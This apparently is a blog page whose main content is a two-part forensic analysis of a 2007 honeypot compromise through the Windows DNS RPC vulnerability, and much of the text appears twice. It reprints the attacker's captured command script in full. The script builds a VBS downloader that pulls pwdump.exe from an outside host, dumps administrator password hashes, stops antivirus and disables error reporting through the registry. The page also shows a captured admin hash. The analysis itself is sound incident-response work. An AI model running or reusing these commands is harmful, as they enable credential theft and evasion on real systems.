I was doing some browsing today on the government's cybercrime site and I began fishing through some of the documents they have posted and ended up coming across the updated prosecuting cybercrimes manual
I'd like to call your attention to appendix C in the document listed above. Take a look at Section B, step 2. An excerpt from the section:
[..."Initial response should include at a minimum documenting: users currently logged on, current connections, processes running, all listening sockets and their associated applications. Image the RAM of the attacked systems."...]
What's my initial reaction?
Whoa, even the government is suggesting that people collect evidence from live systems now. Ladies and gents of the private sector/edu world, if the federal government(who is typically years behind the rest of us) is suggesting you collect this information, then by all means do so. The case is being strengthened for conducting this type of activity. Now's the time to update, modify and/or create procedures specifically for this purpose.
Sunday, April 29, 2007
Friday, April 27, 2007
Analyzing an intrusion Part II - Corporal and Environmental
*Please read part I before you read this, otherwise it lacks context*
In the last entry I started by establishing Time-0 using Environmental evidence. Now I'd like to detail some information relating to Environmental evidence and Corporal evidence using Environmental evidence to inform the decision making of the Corporal investigation.
As part of the exploit that overtook my honeypot - A windows server 2003 domain controller running service pack 1, the attacker opened a reverse shell to a different host than the one that exploited my system.
Still using environmental evidence we see the following:
22:09:45.996675 IP 10.10.62.102.2434 > 70.84.11.196.1919: S 1688673751:1688673
751(0) win 65535
At 22:10:17 we see the final RST/ACK between these two systems. So, what happened during that time?
A lot actually and here's the content of the conversation.
if exist ..\dbg0.log taskkill /im dns.exe /f>nul
if exist ..\dbg0.log exit
if exist \x.tmp taskkill /im dns.exe /f>nul
if exist \x.tmp exit
type nul>..\dbg0.log
net stop mcshield
echo Set sGet = CreateObject("ADODB.Stream") >get.vbs
echo sGet.Mode = 3 >>get.vbs
echo If 1=1 Then >>get.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs
echo End If >>get.vbs
echo sGet.Type = 1 >>get.vbs
echo sGet.Open() >>get.vbs
echo If 1=1 Then >>get.vbs
echo xPost.Send() >>get.vbs
echo End If >>get.vbs
echo sGet.Write(xPost.responseBody) >>get.vbs
echo sGet.SaveToFile "pwdump.exe",2 >>get.vbs
cscript get.vbs
del get.vbs
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v AllOrNone /t REG_DWORD /d 1 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v DoReport /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeKernelFaults /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeMicrosoftApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeWindowsApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeShutdownErrs /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v ShowUI /t REG_DWORD /d 0 /f 1>nul 2>nul
pwdump %RANDOM%
if not exist pwdump.exe taskkill /im dns.exe /f
del pwdump.exe
exit
There's a lot going on there. Let's break it down from the top.
if exist ..\dbg0.log taskkill /im dns.exe /f>nul
if exist ..\dbg0.log exit
if exist \x.tmp taskkill /im dns.exe /f>nul
if exist \x.tmp exit
type nul>..\dbg0.log
net stop mcshield
Ok, pretty simple right? If a file named dbg.0 or x.tmp exists, kill the dns service using taskkill. We know this because the /im flag is to kill a service and /f is force. All output is redirected to the bitbucket. The attacker then tries to stop the mcshield service - which is a Mcafee service. Unfortunately for our friend, there was no mcshield service running as my system replied:
System error 1060 has occurred.
The specified service does not exist as an installed service.
On to the next chunk.
echo Set sGet = CreateObject("ADODB.Stream") >get.vbs
echo sGet.Mode = 3 >>get.vbs
echo If 1=1 Then >>get.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs
echo End If >>get.vbs
echo sGet.Type = 1 >>get.vbs
echo sGet.Open() >>get.vbs
echo If 1=1 Then >>get.vbs
echo xPost.Send() >>get.vbs
echo End If >>get.vbs
echo sGet.Write(xPost.responseBody) >>get.vbs
echo sGet.SaveToFile "pwdump.exe",2 >>get.vbs
Interesting, with these types of attacks I usually see .bat files being created this way, not vbs. This actually works to our advantage a little bit and I'll show why later. Let's rip the code apart to find out exactly what it tries to do. Adodb.stream provides a method for reading and writing files on a hard drive, so we know this code is going to either send or receive a file. The Microsoft.XMLHTTP object has many uses, one of which is to send a request to a website to update or pull down data. In our case, the next line in the code provides the answer to which this code is attempting to do. We see the GET request for pwdump.exe. Pwdump of course is used to dump the password hashes from the SAM on a windows machine. The code then instructs the system to write the data from the server to a file named pwdump.exe
Now on to the final portion of the commands.
cscript get.vbs
del get.vbs
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v AllOrNone /t REG_DWORD /d 1 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v DoReport /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeKernelFaults /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeMicrosoftApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeWindowsApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeShutdownErrs /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v ShowUI /t REG_DWORD /d 0 /f 1>nul 2>nul
pwdump %RANDOM%
if not exist pwdump.exe taskkill /im dns.exe /f
del pwdump.exe
exit
Again, there's a lot going on here. The vbs script is executed, then deleted. I have yet to test the timing of this code, but one would think that the first line in the registry modification sections listed here wouldn't work.
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
So what's going on here? well if pwdump doesn't exist, then use the Microsoft provided work around to plug the vulnerability that this attacker exploited! Brilliant.
This is the reinforcement phase of the attack cycle.
The next set of registry settings confused me at first. It made logical sense as to what was happening, but I'd never seen this before. This is the anti-detection technique I mentioned in Part I that may or may not be new, but it's new to me.
I asked myself what those keys actually do, and why would someone choose to configure them during an intrusion? Taking another trip down google lane, I ended up looking at this document
This document contains a description of the registry keys this attacker changed. The attacker instructs the victim to report All or Nothing(AllorNone), disable error reporting(doreport), exclude Kernel(OS) faults(includekernelfaults), disable Microsoft apps from reporting(IncludeMicrosoftApps), disable Windows apps from reporting(IncludeWindowsApps), disable shutdown reporting - you know the information screen you fill out when you don't shut down properly(IncludeShutdownErrs), and the attacker makes sure that if you're a user sitting at the console you don't see the error message that asks if you want to send the error report to microsoft(ShowUI) .
Very interesting. As I said before, I've never seen this used until now. Pwdump is then executed, dns is killed again(if it happened to have restarted itself I guess), and the script then exits the shell.
All that activity took from 22:09:45 to 22:10:17. That's a mere 32 seconds.
Before we dive off in to the corporal evidence, there's a little more environmental to be looked at. Remember the GET request to www.dit.net? Well, that occured at 22:10:01.
Here's that request and response:
GET /images/pwdump.exe HTTP/1.0
Accept: */*
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: www.dit.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Connection: keep-alive
Date: Sun, 22 Apr 2007 22:08:07 GMT
Content-Type: application/octet-stream
Accept-Ranges: bytes
Last-Modified: Sun, 22 Apr 2007 18:06:33 GMT
ETag: "809a98f5885c71:ade"
Content-Length: 90624
Pay attention to the user-Agent in the request. That's right, the request was made through Internet Explorer because of the ADODB.Stream object and the GET call using XML.HTTP. We can take note of this because we have a place to search when we investigate the victim - The IE history! Also take note that their time is a few minutes off from what we've recorded.
Addendum 4/29
Harlan's link to Robert Hensing's blog post on this subject is well worth the read. I was planning on saving that bit of info for the next post in the series, but Harlan is spot on - We'll find a copy of pwdump and the history of this visit in the temporary internet files and index.dat of the Default User profile.
This stream contained some interesting information about the pwdump.exe binary.
Here's some strings from the transfer:
...%c:\....** LARGEST DRIVE IS %c: WITH %I64uGB **
....SYSTEM\CurrentControlSet\Services\DNS\Parameters....RpcProtocol.DNS.EXE.** UNABLE TO KILL DNS.EXE **
...** DNS HOLE FIXED **
...** UPLOAD MODE **
...Unable to find lsass.exe PID
...Failed enabling Debug privilege. Proceeding anyway
....** PWDUMP PRIVATE MOD **
...** - ONLY DUMP ADMINS **
...** - NO SEPERATE DLL **
hmmm, a private mod of pwdump that only dumps the admin password hash and doesn't require a separate dll. Technically I could recover the binary from the packet capture for analysis, but I'll grab it from the victim.
Needless to say the hash was offloaded at 22:10:01 as we can see here:
Administrator:500:bec4f90f3c1c505caad4b435b51404ee:b5a256f8405decc2d817a6f915db2f0a:::
There was further corroboration from the anomaly detection system regarding the pwdump execution and the beginning of the script that reinforced the attackers control over my system.
At this point, we've established Time-0, and have some information that will inform our investigation of the victim system.
To summarize, we know there was a pwdump.exe transferred and executed. We know a vbs script was created and executed, and we know how the attacker took over and plans on keeping hidden from us.
We suspect that the registry modifications were successful, we also suspect that we can find evidence in places the attacker didn't think of. This is also where we look at anamnestic or behavioral evidence for clues. We know that this system was running a dns server. We also saw the attacker attempt to kill the dns service as well as stop the mcshield service. Given this we should expect to find traces in the event log. We also have a binary to investigate.
There is always the unexpected to take in to account, so the investigation will include everything I can get my hands on.
All told, after the code executed and then exited, the attacker disappeared and has not returned to the system as of today. I can only speculate that they are out there collecting more administrator passwords and cracking them, but this was a drive-by exploitation that took a grand total of 55 seconds from incursion to extraction(18:09:22-18:10:17). Sometimes that's the only window we have to detect a compromise.
I'll continue to examine the corporal evidence and if anyone has thoughts about the errorreporting keys, or if you've seen them used in this manner before, I'm all ears. Thoughts, questions and comments are always welcome.
In the last entry I started by establishing Time-0 using Environmental evidence. Now I'd like to detail some information relating to Environmental evidence and Corporal evidence using Environmental evidence to inform the decision making of the Corporal investigation.
As part of the exploit that overtook my honeypot - A windows server 2003 domain controller running service pack 1, the attacker opened a reverse shell to a different host than the one that exploited my system.
Still using environmental evidence we see the following:
22:09:45.996675 IP 10.10.62.102.2434 > 70.84.11.196.1919: S 1688673751:1688673
751(0) win 65535
At 22:10:17 we see the final RST/ACK between these two systems. So, what happened during that time?
A lot actually and here's the content of the conversation.
if exist ..\dbg0.log taskkill /im dns.exe /f>nul
if exist ..\dbg0.log exit
if exist \x.tmp taskkill /im dns.exe /f>nul
if exist \x.tmp exit
type nul>..\dbg0.log
net stop mcshield
echo Set sGet = CreateObject("ADODB.Stream") >get.vbs
echo sGet.Mode = 3 >>get.vbs
echo If 1=1 Then >>get.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs
echo End If >>get.vbs
echo sGet.Type = 1 >>get.vbs
echo sGet.Open() >>get.vbs
echo If 1=1 Then >>get.vbs
echo xPost.Send() >>get.vbs
echo End If >>get.vbs
echo sGet.Write(xPost.responseBody) >>get.vbs
echo sGet.SaveToFile "pwdump.exe",2 >>get.vbs
cscript get.vbs
del get.vbs
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v AllOrNone /t REG_DWORD /d 1 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v DoReport /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeKernelFaults /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeMicrosoftApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeWindowsApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeShutdownErrs /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v ShowUI /t REG_DWORD /d 0 /f 1>nul 2>nul
pwdump %RANDOM%
if not exist pwdump.exe taskkill /im dns.exe /f
del pwdump.exe
exit
There's a lot going on there. Let's break it down from the top.
if exist ..\dbg0.log taskkill /im dns.exe /f>nul
if exist ..\dbg0.log exit
if exist \x.tmp taskkill /im dns.exe /f>nul
if exist \x.tmp exit
type nul>..\dbg0.log
net stop mcshield
Ok, pretty simple right? If a file named dbg.0 or x.tmp exists, kill the dns service using taskkill. We know this because the /im flag is to kill a service and /f is force. All output is redirected to the bitbucket. The attacker then tries to stop the mcshield service - which is a Mcafee service. Unfortunately for our friend, there was no mcshield service running as my system replied:
System error 1060 has occurred.
The specified service does not exist as an installed service.
On to the next chunk.
echo Set sGet = CreateObject("ADODB.Stream") >get.vbs
echo sGet.Mode = 3 >>get.vbs
echo If 1=1 Then >>get.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>get.vbs
echo xPost.Open "GET","http://www.dit.net/images/pwdump.exe",0 >>get.vbs
echo End If >>get.vbs
echo sGet.Type = 1 >>get.vbs
echo sGet.Open() >>get.vbs
echo If 1=1 Then >>get.vbs
echo xPost.Send() >>get.vbs
echo End If >>get.vbs
echo sGet.Write(xPost.responseBody) >>get.vbs
echo sGet.SaveToFile "pwdump.exe",2 >>get.vbs
Interesting, with these types of attacks I usually see .bat files being created this way, not vbs. This actually works to our advantage a little bit and I'll show why later. Let's rip the code apart to find out exactly what it tries to do. Adodb.stream provides a method for reading and writing files on a hard drive, so we know this code is going to either send or receive a file. The Microsoft.XMLHTTP object has many uses, one of which is to send a request to a website to update or pull down data. In our case, the next line in the code provides the answer to which this code is attempting to do. We see the GET request for pwdump.exe. Pwdump of course is used to dump the password hashes from the SAM on a windows machine. The code then instructs the system to write the data from the server to a file named pwdump.exe
Now on to the final portion of the commands.
cscript get.vbs
del get.vbs
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v AllOrNone /t REG_DWORD /d 1 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v DoReport /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeKernelFaults /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeMicrosoftApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeWindowsApps /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v IncludeShutdownErrs /t REG_DWORD /d 0 /f 1>nul 2>nul
if exist reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v ShowUI /t REG_DWORD /d 0 /f 1>nul 2>nul
pwdump %RANDOM%
if not exist pwdump.exe taskkill /im dns.exe /f
del pwdump.exe
exit
Again, there's a lot going on here. The vbs script is executed, then deleted. I have yet to test the timing of this code, but one would think that the first line in the registry modification sections listed here wouldn't work.
if not exist pwdump.exe reg add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v RpcProtocol /t REG_DWORD /d 4 /f
So what's going on here? well if pwdump doesn't exist, then use the Microsoft provided work around to plug the vulnerability that this attacker exploited! Brilliant.
This is the reinforcement phase of the attack cycle.
The next set of registry settings confused me at first. It made logical sense as to what was happening, but I'd never seen this before. This is the anti-detection technique I mentioned in Part I that may or may not be new, but it's new to me.
I asked myself what those keys actually do, and why would someone choose to configure them during an intrusion? Taking another trip down google lane, I ended up looking at this document
This document contains a description of the registry keys this attacker changed. The attacker instructs the victim to report All or Nothing(AllorNone), disable error reporting(doreport), exclude Kernel(OS) faults(includekernelfaults), disable Microsoft apps from reporting(IncludeMicrosoftApps), disable Windows apps from reporting(IncludeWindowsApps), disable shutdown reporting - you know the information screen you fill out when you don't shut down properly(IncludeShutdownErrs), and the attacker makes sure that if you're a user sitting at the console you don't see the error message that asks if you want to send the error report to microsoft(ShowUI) .
Very interesting. As I said before, I've never seen this used until now. Pwdump is then executed, dns is killed again(if it happened to have restarted itself I guess), and the script then exits the shell.
All that activity took from 22:09:45 to 22:10:17. That's a mere 32 seconds.
Before we dive off in to the corporal evidence, there's a little more environmental to be looked at. Remember the GET request to www.dit.net? Well, that occured at 22:10:01.
Here's that request and response:
GET /images/pwdump.exe HTTP/1.0
Accept: */*
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: www.dit.net
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Connection: keep-alive
Date: Sun, 22 Apr 2007 22:08:07 GMT
Content-Type: application/octet-stream
Accept-Ranges: bytes
Last-Modified: Sun, 22 Apr 2007 18:06:33 GMT
ETag: "809a98f5885c71:ade"
Content-Length: 90624
Pay attention to the user-Agent in the request. That's right, the request was made through Internet Explorer because of the ADODB.Stream object and the GET call using XML.HTTP. We can take note of this because we have a place to search when we investigate the victim - The IE history! Also take note that their time is a few minutes off from what we've recorded.
Addendum 4/29
Harlan's link to Robert Hensing's blog post on this subject is well worth the read. I was planning on saving that bit of info for the next post in the series, but Harlan is spot on - We'll find a copy of pwdump and the history of this visit in the temporary internet files and index.dat of the Default User profile.
This stream contained some interesting information about the pwdump.exe binary.
Here's some strings from the transfer:
...%c:\....** LARGEST DRIVE IS %c: WITH %I64uGB **
....SYSTEM\CurrentControlSet\Services\DNS\Parameters....RpcProtocol.DNS.EXE.** UNABLE TO KILL DNS.EXE **
...** DNS HOLE FIXED **
...** UPLOAD MODE **
...Unable to find lsass.exe PID
...Failed enabling Debug privilege. Proceeding anyway
....** PWDUMP PRIVATE MOD **
...** - ONLY DUMP ADMINS **
...** - NO SEPERATE DLL **
hmmm, a private mod of pwdump that only dumps the admin password hash and doesn't require a separate dll. Technically I could recover the binary from the packet capture for analysis, but I'll grab it from the victim.
Needless to say the hash was offloaded at 22:10:01 as we can see here:
Administrator:500:bec4f90f3c1c505caad4b435b51404ee:b5a256f8405decc2d817a6f915db2f0a:::
There was further corroboration from the anomaly detection system regarding the pwdump execution and the beginning of the script that reinforced the attackers control over my system.
At this point, we've established Time-0, and have some information that will inform our investigation of the victim system.
To summarize, we know there was a pwdump.exe transferred and executed. We know a vbs script was created and executed, and we know how the attacker took over and plans on keeping hidden from us.
We suspect that the registry modifications were successful, we also suspect that we can find evidence in places the attacker didn't think of. This is also where we look at anamnestic or behavioral evidence for clues. We know that this system was running a dns server. We also saw the attacker attempt to kill the dns service as well as stop the mcshield service. Given this we should expect to find traces in the event log. We also have a binary to investigate.
There is always the unexpected to take in to account, so the investigation will include everything I can get my hands on.
All told, after the code executed and then exited, the attacker disappeared and has not returned to the system as of today. I can only speculate that they are out there collecting more administrator passwords and cracking them, but this was a drive-by exploitation that took a grand total of 55 seconds from incursion to extraction(18:09:22-18:10:17). Sometimes that's the only window we have to detect a compromise.
I'll continue to examine the corporal evidence and if anyone has thoughts about the errorreporting keys, or if you've seen them used in this manner before, I'm all ears. Thoughts, questions and comments are always welcome.
Analyzing an intrusion Part I - Establish Time-0
Recently I described a technique used by real world investigators to determine Time of Death for victims and how it could possibly be applied to digital investigations. I'd like to take some time to detail a recent compromise of one of my honeypots and take what may be viewed by some as theory, and put it in to practice.
Just when I thought all was quiet, someone decided to set off just about every alarm I had while using the recent RPC based DNS vulnerability as an attack vector. In addition to the sources of evidence I am searching through, I believe I have found an obscure technique used by attackers to hide their actions. I can't say whether this is a new technique or not, but I've never seen it attempted until now.
Let's start with what I know based on Environmental sources of evidence.
On Sunday Apr 22, 2007, I began receiving alerts from the honeynet indicating an incredibly sloppy port scan. I'll add some commentary in italics to this as I go on.
[**] [122:1:0] (portscan) TCP Portscan [**]
04/22-22:09:22.512490 198.64.140.203 -> 10.10.62.102
PROTO255 TTL:0 TOS:0x0 ID:61227 IpLen:20 DgmLen:160
Like most people, I thought "yeah big deal another port scan", but then again, this has been a dormant honeynet until now.
This is what NIST likes to call a precursor. If you've read their SP-800 docs on incident response, you'll understand. While precursors are commonly ignored, they should be filed away in the back of the incident responder or investigator's mind. In addition to this being a precursor, it's also the Reconnaisance phase of an attack cycle.
Again, recall what I learned in the Hacking By Numbers course - Speed vs stealth is the name of the game today.
Starting at Port 1 the attacker scanned every port on my Windows Server 2003 SP1 honeypot. This scan lasted all the way up until it reached tcp port 3439.
What was the objective for the scan? If you've read anything about the vulnerablity and subsequent exploits surrounding it, the typical attack will scan in search of the port that RPC interface for DNS is listening on so it can communicate with the DNS service. This is what allows SA's to use the MMC from another computer to access dnsmgmt.msc.
In this case RPC was listening on tcp port 1040, one of those ephemeral "magic ports".
Luckily, the bleeding snort rules caught this event.
[**] [1:2003592:1] BLEEDING-EDGE CURRENT EVENTS Vulnerable DNS RPC Bind [**]
[Priority: 0]
04/22-22:09:39.106014 198.64.140.203:4312 -> 10.10.62.102:1040
TCP TTL:113 TOS:0x0 ID:16339 IpLen:20 DgmLen:684 DF
***AP*** Seq: 0x5EBD95C1 Ack: 0xB000C175 Win: 0x4470 TcpLen: 20
[Xref => http://doc.bleedingthreats.net/bin/view/Main/MSRpcDns]
[**] [1:2003587:4] BLEEDING-EDGE CURRENT EVENTS MS DNS DCE-RPC Temporary Rule - Possible Attack [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
04/22-22:09:39.106014 198.64.140.203:4312 -> 10.10.62.102:1040
TCP TTL:113 TOS:0x0 ID:16339 IpLen:20 DgmLen:684 DF
***AP*** Seq: 0x5EBD95C1 Ack: 0xB000C175 Win: 0x4470 TcpLen: 20
[Xref => http://isc.sans.org/diary.html?storyid=2627][Xref => http://erratasec.blogspot.com/2007/04/news-from-microsoft-dns-0day-being.html]
Now that we have some background information we can work on establishing Time-0.
According to the honeywall The scan began at 22:09:22 GMT. Port 1040 was re-visited at 22:09:39 GMT and the Shellcode was delivered through an RPC packet containing a bind request to get access to the following UUID: 50abc2a4-574d-40b3-9d66-ee4fd5fba076. This UUID just happens to be the DNS server. Once the exploit is is delivered, a reverse shell is opened. The final FIN sequence after the delivery of the exploit was at 22:09:51 GMT.
The attacker went from Recon to successful exploitation in 29 seconds!
Unfortunately, one source of evidence isn't enough. We need to be able to corroborate what was captured. Some folks upstream provided me with some data from their anomaly detection system. You'll notice a slight time skew between the two sources.
Sun Apr 22 18:09:42 2007 (local time)
198.64.140.203:4312<--TCP-->10.10.62.102:1040
................................;.$\.................]..........+.H`..........(.X
........t............m....1040...................................................
Now, it's a little confusing because the anomaly detection system decides what part of a packet to capture with it's own AI, but we can look at the content of the TCP stream of this flow to find out where it get's the information from.
This is the content of the bind request of the attacker. The honeywall picked it up at 22:09:39 GMT.
................................;.$\.................]..........+.H`..........(..
........t............m....1040...................................................
Looks pretty close doesn't it? The X in the packet from the anomaly detection system seems to be some form of marker or delimeter because it doesn't exist in the full capture I have. I'll be confirming this with the data providers.
Based on the Environmental evidence presented here and the corroborated data from the anomaly detection system we can establish Time-0 as falling between 22:09:39 GMT and 22:09:51 GMT.
As of now, I'm waiting for some netflow logs to be sent to me for further corroboration of the evidence.
Just when I thought all was quiet, someone decided to set off just about every alarm I had while using the recent RPC based DNS vulnerability as an attack vector. In addition to the sources of evidence I am searching through, I believe I have found an obscure technique used by attackers to hide their actions. I can't say whether this is a new technique or not, but I've never seen it attempted until now.
Let's start with what I know based on Environmental sources of evidence.
On Sunday Apr 22, 2007, I began receiving alerts from the honeynet indicating an incredibly sloppy port scan. I'll add some commentary in italics to this as I go on.
[**] [122:1:0] (portscan) TCP Portscan [**]
04/22-22:09:22.512490 198.64.140.203 -> 10.10.62.102
PROTO255 TTL:0 TOS:0x0 ID:61227 IpLen:20 DgmLen:160
Like most people, I thought "yeah big deal another port scan", but then again, this has been a dormant honeynet until now.
This is what NIST likes to call a precursor. If you've read their SP-800 docs on incident response, you'll understand. While precursors are commonly ignored, they should be filed away in the back of the incident responder or investigator's mind. In addition to this being a precursor, it's also the Reconnaisance phase of an attack cycle.
Again, recall what I learned in the Hacking By Numbers course - Speed vs stealth is the name of the game today.
Starting at Port 1 the attacker scanned every port on my Windows Server 2003 SP1 honeypot. This scan lasted all the way up until it reached tcp port 3439.
What was the objective for the scan? If you've read anything about the vulnerablity and subsequent exploits surrounding it, the typical attack will scan in search of the port that RPC interface for DNS is listening on so it can communicate with the DNS service. This is what allows SA's to use the MMC from another computer to access dnsmgmt.msc.
In this case RPC was listening on tcp port 1040, one of those ephemeral "magic ports".
Luckily, the bleeding snort rules caught this event.
[**] [1:2003592:1] BLEEDING-EDGE CURRENT EVENTS Vulnerable DNS RPC Bind [**]
[Priority: 0]
04/22-22:09:39.106014 198.64.140.203:4312 -> 10.10.62.102:1040
TCP TTL:113 TOS:0x0 ID:16339 IpLen:20 DgmLen:684 DF
***AP*** Seq: 0x5EBD95C1 Ack: 0xB000C175 Win: 0x4470 TcpLen: 20
[Xref => http://doc.bleedingthreats.net/bin/view/Main/MSRpcDns]
[**] [1:2003587:4] BLEEDING-EDGE CURRENT EVENTS MS DNS DCE-RPC Temporary Rule - Possible Attack [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
04/22-22:09:39.106014 198.64.140.203:4312 -> 10.10.62.102:1040
TCP TTL:113 TOS:0x0 ID:16339 IpLen:20 DgmLen:684 DF
***AP*** Seq: 0x5EBD95C1 Ack: 0xB000C175 Win: 0x4470 TcpLen: 20
[Xref => http://isc.sans.org/diary.html?storyid=2627][Xref => http://erratasec.blogspot.com/2007/04/news-from-microsoft-dns-0day-being.html]
Now that we have some background information we can work on establishing Time-0.
According to the honeywall The scan began at 22:09:22 GMT. Port 1040 was re-visited at 22:09:39 GMT and the Shellcode was delivered through an RPC packet containing a bind request to get access to the following UUID: 50abc2a4-574d-40b3-9d66-ee4fd5fba076. This UUID just happens to be the DNS server. Once the exploit is is delivered, a reverse shell is opened. The final FIN sequence after the delivery of the exploit was at 22:09:51 GMT.
The attacker went from Recon to successful exploitation in 29 seconds!
Unfortunately, one source of evidence isn't enough. We need to be able to corroborate what was captured. Some folks upstream provided me with some data from their anomaly detection system. You'll notice a slight time skew between the two sources.
Sun Apr 22 18:09:42 2007 (local time)
198.64.140.203:4312<--TCP-->10.10.62.102:1040
................................;.$\.................]..........+.H`..........(.X
........t............m....1040...................................................
Now, it's a little confusing because the anomaly detection system decides what part of a packet to capture with it's own AI, but we can look at the content of the TCP stream of this flow to find out where it get's the information from.
This is the content of the bind request of the attacker. The honeywall picked it up at 22:09:39 GMT.
................................;.$\.................]..........+.H`..........(..
........t............m....1040...................................................
Looks pretty close doesn't it? The X in the packet from the anomaly detection system seems to be some form of marker or delimeter because it doesn't exist in the full capture I have. I'll be confirming this with the data providers.
Based on the Environmental evidence presented here and the corroborated data from the anomaly detection system we can establish Time-0 as falling between 22:09:39 GMT and 22:09:51 GMT.
As of now, I'm waiting for some netflow logs to be sent to me for further corroboration of the evidence.
Thursday, April 19, 2007
Error rates
